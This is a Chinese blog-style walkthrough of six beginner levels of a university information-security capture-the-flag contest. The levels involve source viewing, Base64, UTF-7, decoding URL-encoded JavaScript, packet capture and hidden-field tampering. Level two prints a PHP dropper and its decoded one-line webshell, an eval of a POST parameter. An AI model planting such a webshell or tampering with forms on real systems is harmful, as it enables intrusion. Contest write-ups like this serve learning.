前天晚上,群里的朋友发来个链接。打开后发现是西南石油大学的信息安全大赛。校外的也可以参加。就饶有兴趣的试了试。
我是菜鸟,我只是试试玩的,大黑阔别见笑。链接在这:http://www2.swpuwllm.com
额,进入正题。
第一关 源代码
很简单,稍微懂点网络知识就能过去。key隐藏在网页的源代码中,右键查看源代码就能找到。
第二关 Base64
Base64是一种编码方式。我们只需要找到代码进行解码就可以了。<?fputs(fopen(base64_decode(“bm92b2ljZS5waHA=”), “w”),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUWyd0aGlzX2lzX3lpanVodWEnXSk7Pz4=”));?>很明显 PD9waHAgQGV2YWwoJF9QT1NUWyd0aGlzX2lzX3lpanVodWEnXSk7Pz4 就是那段代码。对其进行解码。
得到<?php @eval($_POST[’this_is_yijuhua’]);?> 其中this_is_yijuhua 就是key啦。
第三关 UTF-7
大家对于UTF8这种编码非常熟悉。UTF-7确不经常用到。这里说的也比较明确了。 就是让你解码:
+AGsAZQB5ADoAaQBhAG0AdQB0AGYANwBlAG4AYwBvAGQAZQBk- 用UTF-7方式解码
得到key为iamutf7encoded
第四关 JS
这个要用到javascript中的汉字转码。如“工业技术”,转码后是“%B9%A4%D2%B5%BC%BC%CA%F5”,
“军事”,转码后是“%BE%FC%CA%C2” 一个汉字对应两个16进制数。 直接查看网页源代码,得到
%66%75%6E%63%74%69%6F%6E%20%43%61%69%64%61%6F%43%68%65%63%6B%28%29%0D%0A%7B%0D%0A%20%20%20%20%20%76%61%72%20%4D%79%50%61%73%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%49%6E%63%61%6E%74%61%74%69%6F%6E%27%29%2E%76%61%6C%75%65%3B%0D%0A%20%20%20%20%20%69%66%28%22%22%2B%70%61%72%73%65%49%6E%74%28%4D%79%50%61%73%73%29%20%3D%3D%20%4D%79%50%61%73%73%29%0D%0A%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%69%66%28%70%61%72%73%65%49%6E%74%28%4D%79%50%61%73%73%29%2B%37%39%38%37%38%39%3D%3D%31%30%30%30%30%30%30%29%0D%0A%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%u590D%u6D3B%u6210%u529F%uFF01%4B%45%59%u5C31%u662F%u590D%u6D3B%u5492%u8BED%uFF01%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%7D%65%6C%73%65%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%u590D%u6D3B%u5931%u8D25%uFF01%u8BF7%u91CD%u65B0%u8F93%u5165%u590D%u6D3B%u5492%u8BED%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%64%6F%63%75%6D%65%6E%74%2E%47%65%74%5F%4B%65%79%2E%49%6E%63%61%6E%74%61%74%69%6F%6E%2E%76%61%6C%75%65%20%3D%20%27%27%3B%0D%0A%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%7D%65%6C%73%65%7B%0D%0A%20%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%u590D%u6D3B%u5931%u8D25%uFF01%u8BF7%u91CD%u65B0%u8F93%u5165%u590D%u6D3B%u5492%u8BED%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%64%6F%63%75%6D%65%6E%74%2E%47%65%74%5F%4B%65%79%2E%49%6E%63%61%6E%74%61%74%69%6F%6E%2E%76%61%6C%75%65%20%3D%20%27%27%3B%0D%0A%20%20%20%20%20%7D%0D%0A%7D
转换回去。得到:function CaidaoCheck(){ var MyPass = document.getElementById(’Incantation’).value; if(“”+parseInt(MyPass) == MyPass) { if(parseInt(MyPass)+798789==1000000) { alert(’%u590D%u6D3B%u6210%u529F%uFF01KEY%u5C31%u662F%u590D%u6D3B%u5492%u8BED%uFF01’); }else{ alert(’%u590D%u6D3B%u5931%u8D25%uFF01%u8BF7%u91CD%u65B0%u8F93%u5165%u590D%u6D3B%u5492%u8BED’); document.Get_Key.Incantation.value = ’’; } }else{ alert(’%u590D%u6D3B%u5931%u8D25%uFF01%u8BF7%u91CD%u65B0%u8F93%u5165%u590D%u6D3B%u5492%u8BED’); document.Get_Key.Incantation.value = ’’; }} 其中 if(parseInt(MyPass)+798789==1000000) 就是得到key的关键部分。计算后 key为201211 .
第五关 抓包
随便找个抓包工具。就能抓到key很简单。
第六关 hidden
保存网页。查看源代码,找到<Input type=hidden value=”Guest” name=username>这段。把Guest改为caidao_admin 在<form action=”index.asp?action=save” method=”post” name=”add“>中 index.asp的前面加入http://master.swpuwllm.com/hidden/ 然后保存 用浏览器打开改后的网页,这是用户就变为caidao_admin。留言就能得到key了。
好了,就到这里了。本人技术有限,虽然后面也零碎过了几关。也不献丑了。就讲到这。大黑阔别见笑啊